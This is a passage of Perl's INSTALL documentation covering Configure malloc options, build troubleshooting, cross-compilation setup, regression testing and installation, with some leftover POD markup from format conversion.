Note that Perl's malloc isn't always used by default; that actually depends on your system. For example, on Linux and FreeBSD (and many more systems), Configure chooses to use the system's malloc by default. See the appropriate file in the `<hints/>` directory to see how the default is set.

=item -DPERL\_POLLUTE\_MALLOC

NOTE: This flag is enabled automatically on some platforms if you just run Configure to accept all the defaults.

Perl's malloc family of functions are normally called `Perl_malloc()`, `Perl_realloc()`, `Perl_calloc()` and `Perl_mfree()`.

These names do not clash with the system versions of these functions.

If this flag is enabled, however, Perl's malloc family of functions will have the same names as the system versions. This may be required sometimes if you have libraries that like to `free()` data that may have been allocated by `Perl_malloc()` and vice versa.

Note that enabling this option may sometimes lead to duplicate symbols from the linker for malloc et al. In such cases, the system probably does not allow its malloc functions to be fully replaced with custom versions.

=item -DPERL\_DEBUGGING\_MSTATS

This flag enables debugging mstats, which is required to use the `Devel::Peek::mstat()` function. You cannot enable this unless you are using Perl's malloc, so a typical Configure command would be

sh Configure -Accflags=-DPERL\_DEBUGGING\_MSTATS -Dusemymalloc

to enable this option.

=back

=head2 What if it doesn't work?

If you run into problems, try some of the following ideas.

If none of them help, then see [L<"Reporting Problems">](#) below.

=over 4

=item Running Configure Interactively

If Configure runs into trouble, remember that you can always run Configure interactively so that you can check (and correct) its guesses.

All the installation questions have been moved to the top, so you don't have to wait for them. Once you've handled them (and your C compiler and flags) you can type `&-d` at the next Configure prompt and Configure will use the defaults from then on.

If you find yourself trying obscure command line incantations and config. over tricks, I recommend you run Configure interactively instead. You'll probably save yourself time in the long run.

=item Hint files

Hint files tell Configure about a number of things:

=over 4

=item o

The peculiarities or conventions of particular platforms -- non-standard library locations and names, default installation locations for binaries, and so on.

=item o

The deficiencies of the platform -- for example, library functions that, although present, are too badly broken to be usable; or limits on resources that are generously available on most platforms.

=item o

How best to optimize for the platform, both in terms of binary size and/or

speed, and for Perl feature support. Because of wide variations in the implementation of shared libraries and of threading, for example, Configure often needs hints in order to be able to use these features.

=back

The perl distribution includes many system-specific hints files in the hints/ directory. If one of them matches your system, Configure will offer to use that hint file. Unless you have a very good reason not to, you should accept its offer.

Several of the hint files contain additional important information.

If you have any problems, it is a good idea to read the relevant hint file for further information. See hints/solaris\_2.sh for an extensive example. More information about writing good hints is in the hints/README.hints file, which also explains hint files known as callback-units.

Note that any hint file is read before any Policy file, meaning that Policy overrides hints -- see L</Site-wide Policy settings>.

=item WHOA THERE!!!

If you are re-using an old config.sh, it's possible that Configure detects different values from the ones specified in this file. You will almost always want to keep the previous value, unless you have changed something

on your system.

For example, suppose you have added libgdbm.a to your system and you decide to reconfigure perl to use GDBM\_File. When you run Configure again, you will need to add -lgdbm to the list of libraries. Now, Configure will find your gdbm include file and library and will issue a message:

```
*** WHOA THERE!!! ***
```

```
    The previous value for $i_gdbm on this machine was "undef"!
```

```
    Keep the previous value? [y]
```

In this case, you do not want to keep the previous value, so you should answer 'n'. (You'll also have to manually add GDBM\_File to the list of dynamic extensions to build.)

=item Changing Compilers

If you change compilers or make other significant changes, you should probably not re-use your old config.sh. Simply remove it or rename it, then rerun Configure with the options you want to use.

=item Propagating your changes to config.sh

If you make any changes to config.sh, you should propagate

them to all the .SH files by running

```
sh Configure -S
```

You will then have to rebuild by running

```
make depend
```

```
make
```

=item config.over and config.arch

You can also supply a shell script config.over to over-ride

Configure's guesses. It will get loaded up at the very end, just

before config.sh is created. You have to be careful with this,

however, as Configure does no checking that your changes make sense.

This file is usually good for site-specific customizations.

There is also another file that, if it exists, is loaded before the

config.over, called config.arch. This file is intended to be per

architecture, not per site, and usually it's the architecture-specific

hints file that creates the config.arch.

=item config.h

Many of the system dependencies are contained in config.h.

Configure builds config.h by running the config\_h.SH script.

The values for the variables are taken from config.sh.

If there are any problems, you can edit config.h directly. Beware, though, that the next time you run Configure, your changes will be lost.

=item cflags

If you have any additional changes to make to the C compiler command line, they can be made in cflags.SH. For instance, to turn off the optimizer on token.c, find the line in the switch structure for token.c and put the command optimize='-g' before the ;; . You can also edit cflags directly, but beware that your changes will be lost the next time you run Configure.

To explore various ways of changing ccflags from within a hint file, see the file hints/README.hints.

To change the C flags for all the files, edit config.sh and change either \$ccflags or \$optimize, and then re-run

sh Configure -S

make depend

=item No sh

If you don't have sh, you'll have to copy the sample file

Porting/config.sh to config.sh and edit your config.sh to reflect your system's peculiarities. See Porting/pumpkin.pod for more information.

You'll probably also have to extensively modify the extension building mechanism.

=item Porting information

Specific information for the OS/2, Plan 9, VMS and Win32 ports is in the corresponding README files and subdirectories. Additional information, including a glossary of all those config.sh variables, is in the Porting subdirectory. Porting/Glossary should especially come in handy.

Ports for other systems may also be available. You should check out <http://www.cpan.org/ports> for current information on ports to various other operating systems.

If you plan to port Perl to a new architecture, study carefully the section titled "Philosophical Issues in Patching and Porting Perl" in the file Porting/pumpkin.pod and the file pod/perlgit.pod.

Study also how other non-UNIX ports have solved problems.

=back

=head2 Adding extra modules to the build

You can specify extra modules or module bundles to be fetched from the CPAN and installed as part of the Perl build. Either use the `-Dextras=...` command line parameter to `Configure`, for example like this:

```
Configure -Dextras="Bundle::LWP DBI"
```

or answer first 'y' to the question 'Install any extra modules?' and then answer "Bundle::LWP DBI" to the 'Extras?' question.

The module or the bundle names are as for the CPAN module 'install' command.

This will only work if those modules are to be built as dynamic extensions. If you wish to include those extra modules as static extensions, see [L<"Extensions">](#) above.

Notice that because the CPAN module will be used to fetch the extra modules, you will need access to the CPAN, either via the Internet, or via a local copy such as a CD-ROM or a local CPAN mirror. If you do not, using the extra modules option will die horribly.

Also notice that you yourself are responsible for satisfying any extra dependencies such as external headers or libraries BEFORE trying the build. For example: you will need to have the Foo database specific headers and libraries installed for the DBD::Foo module. The `Configure`

process or the Perl build process will not help you with these.

=head2 suidperl

suidperl was an optional component of earlier releases of perl. It is no longer available. Instead, use a tool specifically designed to handle changes in privileges, such as `sudo`.

=head1 make depend

This will look for all the includes. The output is stored in makefile.

The only difference between Makefile and makefile is the dependencies at the bottom of makefile. If you have to make any changes, you should edit makefile, not Makefile, since the Unix make command reads makefile first.

(On non-Unix systems, the output may be stored in a different file.

Check the value of `$firstmakefile` in your config.sh if in doubt.)

Configure will offer to do this step for you, so it isn't listed explicitly above.

=head1 make

This will attempt to make perl in the current directory.

=head2 Expected errors

These error reports are normal, and can be ignored:

...

make: [extra.pods] Error 1 (ignored)

...

make: [extras.make] Error 1 (ignored)

=head2 What if it doesn't work?

If you can't compile successfully, try some of the following ideas.

If none of them help, and careful reading of the error message and the relevant manual pages on your system doesn't help, then see [L<"Reporting Problems">](#) below.

=over 4

=item hints

If you used a hint file, try reading the comments in the hint file for further tips and information.

=item extensions

If you can successfully build miniperl, but the process crashes

during the building of extensions, run

```
make minitest
```

to test your version of miniperl.

=item locale

If you have any locale-related environment variables set, try unsetting them. I have some reports that some versions of IRIX hang while running `B<./miniperl configpm>` with locales other than the C locale.

See the discussion under `L<"make test">` below about locales and the whole `L<perllocale/"LOCALE PROBLEMS">` section in the file `pod/perllocale.pod`.

The latter is especially useful if you see something like this

```
perl: warning: Setting locale failed.
```

```
perl: warning: Please check that your locale settings:
```

```
    LC_ALL = "En_US",
```

```
    LANG = (unset)
```

```
are supported and installed on your system.
```

```
perl: warning: Falling back to the standard locale ("C").
```

at Perl startup.

=item other environment variables

Configure does not check for environment variables that can sometimes have a major influence on how perl is built or tested. For example, OBJECT\_MODE on AIX determines the way the compiler and linker deal with their objects, but this is a variable that only influences build-time behaviour, and should not affect the perl scripts that are eventually executed by the perl binary. Other variables, like PERL\_UNICODE, PERL5LIB, and PERL5OPT will influence the behaviour of the test suite. So if you are getting strange test failures, you may want to try retesting with the various PERL variables unset.

=item varargs

If you get varargs problems with gcc, be sure that gcc is installed correctly and that you are not passing -I/usr/include to gcc. When using gcc, you should probably have i\_stdarg='define' and i\_varargs='undef' in config.sh. The problem is usually solved by installing gcc correctly. If you do change config.sh, don't forget to propagate your changes (see [L<"Propagating your changes to config.sh">](#) below). See also the [L<"vsprintf">](#) item below.

=item util.c

If you get error messages such as the following (the exact line numbers and function name may vary in different versions of perl):

util.c: In function `Perl\_form':

util.c:1107: number of arguments doesn't match prototype

proto.h:125: prototype declaration

it might well be a symptom of the gcc "varargs problem". See the previous L<"varargs"> item.

=item LD\_LIBRARY\_PATH

If you run into dynamic loading problems, check your setting of the LD\_LIBRARY\_PATH environment variable. If you're creating a static Perl library (libperl.a rather than libperl.so) it should build fine with LD\_LIBRARY\_PATH unset, though that may depend on details of your local set-up.

=item nm extraction

If Configure seems to be having trouble finding library functions, try not using nm extraction. You can do this from the command line with

```
sh Configure -Uusenm
```

or by answering the nm extraction question interactively.

If you have previously run Configure, you should not reuse your old config.sh.

=item umask not found

If the build processes encounters errors relating to umask(), the problem is probably that Configure couldn't find your umask() system call. Check your config.sh. You should have d\_umask='define'. If you don't, this is probably the L<"nm extraction"> problem discussed above. Also, try reading the hints file for your system for further information.

=item vsprintf

If you run into problems with vsprintf in compiling util.c, the problem is probably that Configure failed to detect your system's version of vsprintf(). Check whether your system has vprintf(). (Virtually all modern Unix systems do.) Then, check the variable d\_vprintf in config.sh. If your system has vprintf, it should be:

```
d_vprintf='define'
```

If Configure guessed wrong, it is likely that Configure guessed wrong on a number of other common functions too. This is probably the L<"nm extraction"> problem discussed above.

=item do\_aspawn

If you run into problems relating to `do_aspawn` or `do_spawn`, the problem is probably that `Configure` failed to detect your system's `fork()` function. Follow the procedure in the previous item on L<"nm extraction">.

=item \_\_inet\_\* errors

If you receive unresolved symbol errors during Perl build and/or test referring to `__inet_*` symbols, check to see whether BIND 8.1 is installed. It installs a `/usr/local/include/arpa/inet.h` that refers to these symbols. Versions of BIND later than 8.1 do not install `inet.h` in that location and avoid the errors. You should probably update to a newer version of BIND (and remove the files the old one left behind). If you can't, you can either link with the updated resolver library provided with BIND 8.1 or rename `/usr/local/bin/arpa/inet.h` during the Perl build and test process to avoid the problem.

=item .\*\_r() prototype NOT found

On a related note, if you see a bunch of complaints like the above about reentrant functions - specifically networking-related ones - being present but without prototypes available, check to see if BIND 8.1 (or possibly other BIND 8 versions) is (or has been) installed. They install

header files such as netdb.h into places such as /usr/local/include (or into another directory as specified at build/install time), at least optionally. Remove them or put them in someplace that isn't in the C preprocessor's header file include search path (determined by -I options plus defaults, normally /usr/include).

=item #error "No DATAMODEL\_NATIVE specified"

This is a common error when trying to build perl on Solaris 2.6 with a gcc installation from Solaris 2.5 or 2.5.1. The Solaris header files changed, so you need to update your gcc installation. You can either rerun the fixincludes script from gcc or take the opportunity to update your gcc installation.

=item Optimizer

If you can't compile successfully, try turning off your compiler's optimizer. Edit config.sh and change the line

```
optimize='-O'
```

to

```
optimize=''
```

then propagate your changes with `B<sh Configure -S>` and rebuild with `B<make depend; make>`.

=item Missing functions and Undefined symbols

If the build of miniperl fails with a long list of missing functions or undefined symbols, check the `libs` variable in the `config.sh` file. It should look something like

```
libs='-lsocket -lnsl -ldl -lm -lc'
```

The exact libraries will vary from system to system, but you typically need to include at least the math library `-lm`. Normally, `Configure` will suggest the correct defaults. If the `libs` variable is empty, you need to start all over again. Run

```
make distclean
```

and start from the very beginning. This time, unless you are sure of what you are doing, accept the default list of libraries suggested by `Configure`.

If the `libs` variable looks correct, you might have the `L<"nm extraction">` problem discussed above.

If you still have missing routines or undefined symbols, you probably need to add some library or other, or you need to undefine some feature that Configure thought was there but is defective or incomplete. If you used a hint file, see if it has any relevant advice. You can also look through `config.h` for likely suspects.

=item `toke.c`

Some compilers will not compile or optimize the larger files (such as `toke.c`) without some extra switches to use larger jump offsets or allocate larger internal tables. You can customize the switches for each file in `cflags`. It's okay to insert rules for specific files into `makefile` since a default rule only takes effect in the absence of a specific rule.

=item Missing `dbmclose`

SCO prior to 3.2.4 may be missing `dbmclose()`. An upgrade to 3.2.4 that includes `libdbm.nfs` (which includes `dbmclose()`) may be available.

=item error: too few arguments to function '`dbmclose`'

Building `ODBM_File` on some (Open)SUSE distributions might run into this error, as the header file is broken. There are two ways to deal with this

## 1. Disable the use of ODBM\_FILE

Configure ... -Dnoextensions=ODBM\_File

## 2. Fix the header file, somewhat like this:

```
--- a/usr/include/dbm.h 2010-03-24 08:54:59.000000000 +0100
+++ b/usr/include/dbm.h 2010-03-24 08:55:15.000000000 +0100
@@ -59,4 +59,4 @@ extern datum firstkey __P((void));

extern datum nextkey __P((datum key));

-extern int dbmclose __P((DBM *));
+extern int dbmclose __P((void));
```

=item Note (probably harmless): No library found for -lsomething

If you see such a message during the building of an extension, but the extension passes its tests anyway (see L<"make test"> below), then don't worry about the warning message. The extension Makefile.PL goes looking for various libraries needed on various systems; few systems will need all the possible libraries listed. Most users will see warnings for the ones they don't have. The phrase 'probably harmless' is intended to reassure you that nothing unusual is happening, and the build process is continuing.

On the other hand, if you are building GDBM\_File and you get the message

Note (probably harmless): No library found for -lgdbm

then it's likely you're going to run into trouble somewhere along the line, since it's hard to see how you can use the GDBM\_File extension without the -lgdbm library.

It is true that, in principle, Configure could have figured all of this out, but Configure and the extension building process are not quite that tightly coordinated.

=item sh: ar: not found

This is a message from your shell telling you that the command 'ar' was not found. You need to check your PATH environment variable to make sure that it includes the directory with the 'ar' command. This is a common problem on Solaris, where 'ar' is in the /usr/ccs/bin directory.

=item db-recno failure on tests 51, 53 and 55

Old versions of the DB library (including the DB library which comes

with FreeBSD 2.1) had broken handling of recno databases with modified bval settings. Upgrade your DB library or OS.

=item Bad arg length for semctl, is XX, should be ZZZ

If you get this error message from the ext/IPC/SysV/t/sem test, your System V IPC may be broken. The XX typically is 20, and that is what ZZZ also should be. Consider upgrading your OS, or reconfiguring your OS to include the System V semaphores.

=item ext/IPC/SysV/t/sem.....semget: No space left on device

Either your account or the whole system has run out of semaphores. Or both. Either list the semaphores with "ipcs" and remove the unneeded ones (which ones these are depends on your system and applications) with "ipcrm -s SEMAPHORE\_ID\_HERE" or configure more semaphores to your system.

=item GNU binutils

If you mix GNU binutils (nm, ld, ar) with equivalent vendor-supplied tools you may be in for some trouble. For example creating archives with an old GNU 'ar' and then using a new current vendor-supplied 'ld' may lead into linking problems. Either recompile your GNU binutils under your current operating system release, or modify your PATH not

to include the GNU utils before running Configure, or specify the vendor-supplied utilities explicitly to Configure, for example by  
Configure -Dar=/bin/ar.

=item THIS PACKAGE SEEMS TO BE INCOMPLETE

The F<Configure> program has not been able to find all the files which make up the complete Perl distribution. You may have a damaged source archive file (in which case you may also have seen messages such as C<gzip: stdin: unexpected end of file> and C<tar: Unexpected EOF on archive file>), or you may have obtained a structurally-sound but incomplete archive. In either case, try downloading again from the official site named at the start of this document. If you do find that any site is carrying a corrupted or incomplete source code archive, please report it to the site's maintainer.

=item invalid token: ##

You are using a non-ANSI-compliant C compiler. To compile Perl, you need to use a compiler that supports ANSI C. If there is a README file for your system, it may have further details on your compiler options.

=item Miscellaneous

Some additional things that have been reported:

Genix may need to use `libc` rather than `libc_s`, or `#undef VARARGS`.

NCR Tower 32 (OS 2.01.01) may need `-W2,-SI,2000` and `#undef MKDIR`.

UTS may need one or more of `-K` or `-g`, and `undef LSTAT`.

FreeBSD can fail the `ext/IPC/SysV/t/sem.t` test if SysV IPC has not been configured in the kernel. Perl tries to detect this, though, and you will get a message telling you what to do.

Building Perl on a system that has also BIND (headers and libraries) installed may run into troubles because BIND installs its own `netdb.h` and `socket.h`, which may not agree with the operating system's ideas of the same files. Similarly, including `-lbind` may conflict with `libc`'s view of the world. You may have to tweak `-Dlocincpth` and `-Dloclibpth` to avoid the BIND.

=back

=head2 Cross-compilation

Perl can be cross-compiled. It is just not trivial, cross-compilation rarely is. Perl is routinely cross-compiled for many platforms (as of

June 2005 at least PocketPC aka WinCE, Open Zaurus, EPOC, Symbian, and the IBM OS/400). These platforms are known as the B<target> platforms, while the systems where the compilation takes place are the B<host> platforms.

What makes the situation difficult is that first of all, cross-compilation environments vary significantly in how they are set up and used, and secondly because the primary way of configuring Perl (using the rather large Unix-tool-dependent Configure script) is not awfully well suited for cross-compilation. However, starting from version 5.8.0, the Configure script also knows one way of supporting cross-compilation support, please keep reading.

See the following files for more information about compiling Perl for the particular platforms:

=over 4

=item WinCE/PocketPC

README.ce

=item Open Zaurus

Cross/README

=item EPOC

README.epoc

=item Symbian

README.symbian

=item OS/400

README.os400

=back

Packaging and transferring either the core Perl modules or CPAN modules to the target platform is also left up to the each cross-compilation environment. Often the cross-compilation target platforms are somewhat limited in disk space: see the section [L<Minimizing the Perl installation>](#) to learn more of the minimal set of files required for a functional Perl installation.

For some cross-compilation environments the Configure option `C<-Dinstallprefix=...>` might be handy, see [L<Changing the installation directory>](#).

About the cross-compilation support of Configure: what is known to work is running Configure in a cross-compilation environment and building the miniperl executable. What is known not to work is building the perl executable because that would require building extensions: Dynaloader statically and File::Glob dynamically, for extensions one needs MakeMaker and MakeMaker is not yet cross-compilation aware, and neither is the main Makefile.

The cross-compilation setup of Configure has successfully been used in at least two Linux cross-compilation environments. The setups were both such that the host system was Intel Linux with a gcc built for cross-compiling into ARM Linux, and there was a SSH connection to the target system.

To run Configure in cross-compilation mode the basic switch that has to be used is `C<-Dusecrosscompile>`.

```
sh ./Configure -des -Dusecrosscompile -D...
```

This will make the cpp symbol `USE_CROSS_COMPILE` and the %Config symbol `C<usecrosscompile>` available, and `C<xconfig.h>` will be used for cross-compilation.

During the Configure and build, certain helper scripts will be created

into the Cross/ subdirectory. The scripts are used to execute a cross-compiled executable, and to transfer files to and from the target host. The execution scripts are named F<run-\*> and the transfer scripts F<to-\*> and F<from-\*>. The part after the dash is the method to use for remote execution and transfer: by default the methods are B<ssh> and B<scp>, thus making the scripts F<run-ssh>, F<to-scp>, and F<from-scp>.

To configure the scripts for a target host and a directory (in which the execution will happen and which is to and from where the transfer happens), supply Configure with

```
-Dtargethost=so.me.ho.st -Dtargetdir=/tar/get/dir
```

The targethost is what e.g. ssh will use as the hostname, the targetdir must exist (the scripts won't create it), the targetdir defaults to /tmp. You can also specify a username to use for ssh/rsh logins

```
-Dtargetuser=luser
```

but in case you don't, "root" will be used.

Because this is a cross-compilation effort, you will also need to specify which target environment and which compilation environment to use. This includes the compiler, the header files, and the libraries.

In the below we use the usual settings for the iPAQ cross-compilation environment:

```
-Dtargetarch=arm-linux  
-Dcc=arm-linux-gcc  
-Dusrinc=/skiff/local/arm-linux/include  
-Dincpth=/skiff/local/arm-linux/include  
-Dlibpth=/skiff/local/arm-linux/lib
```

If the name of the `C<cc>` has the usual GNU C semantics for cross compilers, that is, `CPU-OS-gcc`, the names of the `C<ar>`, `C<nm>`, and `C<ranlib>` will also be automatically chosen to be `CPU-OS-ar` and so on. (The `C<ld>` requires more thought and will be chosen later by `Configure` as appropriate.) Also, in this case the `incpth`, `libpth`, and `usrinc` will be guessed by `Configure` (unless explicitly set to something else, in which case `Configure`'s guesses will be appended).

In addition to the default execution/transfer methods you can also choose `B<rsh>` for execution, and `B<rcp>` or `B<cp>` for transfer, for example:

```
-Dtargetrun=rsh -Dtargetto=rcp -Dtargetfrom=cp
```

Putting it all together:

```
sh ./Configure -des -Dusecrosscompile \  
-Dtargethost=so.me.ho.st \  
-Dtargetdir=/tar/get/dir \  
-Dtargetuser=root \  
-Dtargetarch=arm-linux \  
-Dcc=arm-linux-gcc \  
-Dsrinc=/skiff/local/arm-linux/include \  
-Dincpth=/skiff/local/arm-linux/include \  
-Dlibpth=/skiff/local/arm-linux/lib \  
-D...
```

or if you are happy with the defaults:

```
sh ./Configure -des -Dusecrosscompile \  
-Dtargethost=so.me.ho.st \  
-Dcc=arm-linux-gcc \  
-D...
```

Another example where the cross-compiler has been installed under

F</usr/local/arm/2.95.5>:

```
sh ./Configure -des -Dusecrosscompile \  
-Dtargethost=so.me.ho.st \  
-Dcc=/usr/local/arm/2.95.5/bin/arm-linux-gcc \  
-Dincpth=/usr/local/arm/2.95.5/include \  
-D...
```

```
-Dusrinc=/usr/local/arm/2.95.5/include \
```

```
-Dlibpth=/usr/local/arm/2.95.5/lib
```

```
=head1 make test
```

This will run the regression tests on the perl you just made. If 'make test' doesn't say "All tests successful" then something went wrong. See the file t/README in the t subdirectory.

Note that you can't run the tests in background if this disables opening of /dev/tty. You can use 'make test-notty' in that case but a few tty tests will be skipped.

```
=head2 What if make test doesn't work?
```

If make test bombs out, just cd to the t directory and run ./TEST by hand to see if it makes any difference. If individual tests bomb, you can run them by hand, e.g.,

```
./perl -MTestInit t/op/groups.t
```

Another way to get more detailed information about failed tests and individual subtests is to cd to the t directory and run

```
cd t ; ./perl harness <list of tests>
```

(this assumes that most basic tests succeed, since harness uses complicated constructs). If no list of tests is provided, harness will run all tests.

You should also read the individual tests to see if there are any helpful comments that apply to your system. You may also need to setup your shared library path if you get errors like:

```
/sbin/loader: Fatal Error: cannot map libperl.so
```

See [L<"/Building a shared Perl library">](#) earlier in this document.

=over 4

=item locale

Note: One possible reason for errors is that some external programs may be broken due to the combination of your environment and the way 'make test' exercises them. For example, this may happen if you have one or more of these environment variables set: LC\_ALL LC\_CTYPE LC\_COLLATE LANG. In some versions of UNIX, the non-English locales are known to cause programs to exhibit mysterious errors.

If you have any of the above environment variables set, please try

```
setenv LC_ALL C
```

(for C shell) or

```
LC_ALL=C;export LC_ALL
```

for Bourne or Korn shell) from the command line and then retry make test. If the tests then succeed, you may have a broken program that is confusing the testing. Please run the troublesome test by hand as shown above and see whether you can locate the program. Look for things like: `exec`, ``backquoted command``, `system`, `open("|...")` or `open("...|")`. All these mean that Perl is trying to run some external program.

=item Timing problems

Several tests in the test suite check timing functions, such as `sleep()`, and see if they return in a reasonable amount of time. If your system is quite busy and doesn't respond quickly enough, these tests might fail. If possible, try running the tests again with the system under a lighter load. These timing-sensitive and load-sensitive tests include `F<t/op/alarm.t>`, `F<ext/Time-HiRes/t/HiRes.t>`, `F<ext/threads-shared/t/waithires.t>`, `F<ext/threads-shared/t/stress.t>`, `F<lib/Benchmark.t>`,

F<lib/Memoize/t/expmod\_t.t>, and F<lib/Memoize/t/speed.t>.

You might also experience some failures in F<t/op/stat.t> if you build perl on an NFS filesystem, if the remote clock and the system clock are different.

=item Out of memory

On some systems, particularly those with smaller amounts of RAM, some of the tests in t/op/pat.t may fail with an "Out of memory" message. For example, on my SparcStation IPC with 12 MB of RAM, in perl5.5.670, test 85 will fail if run under either t/TEST or t/harness.

Try stopping other jobs on the system and then running the test by itself:

```
cd t; ./perl -MTestInit op/pat.t
```

to see if you have any better luck. If your perl still fails this test, it does not necessarily mean you have a broken perl. This test tries to exercise the regular expression subsystem quite thoroughly, and may well be far more demanding than your normal usage.

=item libgcc\_s.so.1: cannot open shared object file

This message has been reported on gcc-3.2.3 and earlier installed with

a non-standard prefix. Setting the LD\_LIBRARY\_PATH environment variable (or equivalent) to include gcc's lib/ directory with the libgcc\_s.so.1 shared library should fix the problem.

=item Failures from lib/File/Temp/t/security saying "system possibly insecure"

First, such warnings are not necessarily serious or indicative of a real security threat. That being said, they bear investigating.

Note that each of the tests is run twice. The first time is in the directory returned by File::Spec->tmpdir() (often /tmp on Unix systems), and the second time in the directory from which the test was run (usually the 't' directory, if the test was run as part of 'make test').

The tests may fail for the following reasons:

(1) If the directory the tests are being run in is owned by somebody other than the user running the tests, or by root (uid 0).

This failure can happen if the Perl source code distribution is unpacked in such a way that the user ids in the distribution package are used as-is. Some tar programs do this.

(2) If the directory the tests are being run in is writable by group or

by others, and there is no sticky bit set for the directory. (With UNIX/POSIX semantics, write access to a directory means the right to add or remove files in that directory. The 'sticky bit' is a feature used in some UNIXes to give extra protection to files: if the bit is set for a directory, no one but the owner (or root) can remove that file even if the permissions would otherwise allow file removal by others.)

This failure may or may not be a real problem: it depends on the permissions policy used on this particular system. This failure can also happen if the system either doesn't support the sticky bit (this is the case with many non-UNIX platforms: in principle File::Temp should know about these platforms and skip the tests), or if the system supports the sticky bit but for some reason or reasons it is not being used. This is, for example, the case with HP-UX: as of HP-UX release 11.00, the sticky bit is very much supported, but HP-UX doesn't use it on its /tmp directory as shipped. Also, as with the permissions, some local policy might dictate that the stickiness is not used.

(3) If the system supports the POSIX 'chown giveaway' feature and if any of the parent directories of the temporary file back to the root directory are 'unsafe', using the definitions given above in (1) and (2). For Unix systems, this is usually not an issue if you are building on a local disk. See the documentation for the File::Temp module for more information about 'chown giveaway'.

See the documentation for the File::Temp module for more information about the various security aspects of temporary files.

=back

The core distribution can now run its regression tests in parallel on Unix-like platforms. Instead of running `C<make test>`, set `C<TEST_JOBS>` in your environment to the number of tests to run in parallel, and run `C<make test_harness>`. On a Bourne-like shell, this can be done as

```
TEST_JOBS=3 make test_harness # Run 3 tests in parallel
```

An environment variable is used, rather than parallel make itself, because `L<TAP::Harness>` needs to be able to schedule individual non-conflicting test scripts itself, and there is no standard interface to `C<make>` utilities to interact with their job schedulers.

=head1 make install

This will put perl into the public directory you specified to Configure; by default this is `/usr/local/bin`. It will also try to put the man pages in a reasonable place. It will not nroff the man pages, however. You may need to be root to run `B<make install>`. If you are not root, you must still have permission to install into the directories

in question and you should ignore any messages about chown not working.

If "make install" just says "'install' is up to date" or something similar, you may be on a case-insensitive filesystems such as Mac's HFS+, and you should say "make install-all". (This confusion is brought to you by the Perl distribution having a file called INSTALL.)

=head2 Installing perl under different names

If you want to install perl under a name other than "perl" (for example, when installing perl with special features enabled, such as debugging), indicate the alternate name on the "make install" line, such as:

```
make install PERLNAME=myperl
```

You can separately change the base used for versioned names (like "perl5.8.9") by setting PERLNAME\_VERBASE, like

```
make install PERLNAME=perl5 PERLNAME_VERBASE=perl
```

This can be useful if you have to install perl as "perl5" (e.g. to avoid conflicts with an ancient version in /usr/bin supplied by your vendor). Without this the versioned binary would be called "perl55.8.8".

=head2 Installing perl under a different directory

You can install perl under a different destination directory by using the DESTDIR variable during `C<make install>`, with a command like

```
make install DESTDIR=/tmp/perl5
```

DESTDIR is automatically prepended to all the installation paths. See the example in `L<"DESTDIR">` above.

=head2 Installed files

If you want to see exactly what will happen without installing anything, you can run

```
./perl installperl -n
```

```
./perl installman -n
```

`make install` will install the following:

binaries

perl,

perl5.n.n      where 5.n.n is the current release number. This  
will be a link to perl.

suidperl,

sperl5.n.n	If you requested setuid emulation.
a2p	awk-to-perl translator

## scripts

cppstdin	This is used by the deprecated switch perl -P, if your cc -E can't read from stdin.
c2ph, pstruct	Scripts for handling C structures in header files.
config_data	Manage Module::Build-like module configuration
corelist	Shows versions of modules that come with different versions of perl
cpan	The CPAN shell
cpan2dist	The CPANPLUS distribution creator
cpanp	The CPANPLUS shell
cpanp-run-perl	An helper for cpanp
dprofpp	Perl code profiler post-processor
enc2xs	Encoding module generator
find2perl	find-to-perl translator
h2ph	Extract constants and simple macros from C headers
h2xs	Converts C .h header files to Perl extensions.
instmodsh	A shell to examine installed modules.
libnetcfg	Configure libnet.
perlbug	Tool to report bugs in Perl.
perldoc	Tool to read perl's pod documentation.
perlvp	Perl Installation Verification Procedure

piconv	A Perl implementation of the encoding conversion utility iconv
pl2pm	Convert Perl 4 .pl files to Perl 5 .pm modules
pod2html, pod2latex, pod2man, pod2text, pod2usage	Converters from perl's pod documentation format to other useful formats.
podchecker	POD syntax checker
podselect	Prints sections of POD documentation
prove	A command-line tool for running tests
psed	A Perl implementation of sed
ptar	A Perl implementation of tar
ptardiff	A diff for tar archives
ptargrep	A grep for tar archives
s2p	sed-to-perl translator
shasum	A tool to print or check SHA checksums
splain	Describe Perl warnings and errors
xsubpp	Compiler to convert Perl XS code into C code

## library files

in \$privlib and \$archlib specified to

Configure, usually under /usr/local/lib/perl5/.

documentation

man pages      in \$man1dir, usually /usr/local/man/man1.

module man

pages          in \$man3dir, usually /usr/local/man/man3.

pod/\*.pod      in \$privlib/pod/.

installperl will also create the directories listed above

in `<"Installation Directories">`.

Perl's \*.h header files and the libperl library are also installed under \$archlib so that any user may later build new modules, run the optional Perl compiler, or embed the perl interpreter into another program even if the Perl source is no longer available.

=head2 Installing only version-specific parts

Sometimes you only want to install the version-specific parts of the perl installation. For example, you may wish to install a newer version of perl alongside an already installed production version without disabling installation of new modules for the production version. To only install the version-specific parts of the perl installation, run

Configure -Dversiononly

or answer 'y' to the appropriate Configure prompt. Alternatively,  
you can just manually run

```
./perl installperl -v
```

and skip installman altogether.

See also L<"Maintaining completely separate versions"> for another approach.

```
=head1 cd /usr/include; h2ph *.h sys/*.h
```

Some perl scripts need to be able to obtain information from the system header files. This command will convert the most commonly used header files in /usr/include into files that can be easily interpreted by perl. These files will be placed in the architecture-dependent library (\$archlib) directory you specified to Configure.

Note: Due to differences in the C and perl languages, the conversion of the header files is not perfect. You will probably have to hand-edit some of the converted files to get them to parse correctly. For example, h2ph breaks spectacularly on type casting and certain structures.

```
=head1 installhtml --help
```

Some sites may wish to make perl documentation available in HTML format. The installhtml utility can be used to convert pod documentation into linked HTML files and install them.

Currently, the supplied ./installhtml script does not make use of the html Configure variables. This should be fixed in a future release.

The following command-line is an example of one used to convert perl documentation:

```
./installhtml      \
--podroot=.        \
--podpath=lib:ext:pod:vms \
--recurse          \
--htmldir=/perl/nmanual \
--htmlroot=/perl/nmanual \
--splithead=pod/perlipc \
--splititem=pod/perlfunc \
--libpods=perlfunc:perlvars:perlrun:perlop \
--verbose
```

See the documentation in installhtml for more details. It can take many minutes to execute a large installation and you should expect to see warnings like "no title", "unexpected directive" and "cannot

resolve" as the files are processed. We are aware of these problems  
(and would welcome patches for them).

You may find it helpful to run installhtml twice. That should reduce  
the number of "cannot resolve" warnings.

```
=head1 cd pod && make tex && (process the latex files)
```

Some sites may also wish to make the documentation in the pod/ directory  
available in TeX format. Type

```
(cd pod && make tex && <process the latex files>)
```

```
=head1 Starting all over again
```

If you wish to re-build perl from the same build directory, you should  
clean it out with the command

```
make distclean
```

or

```
make realclean
```

The only difference between the two is that make distclean also removes

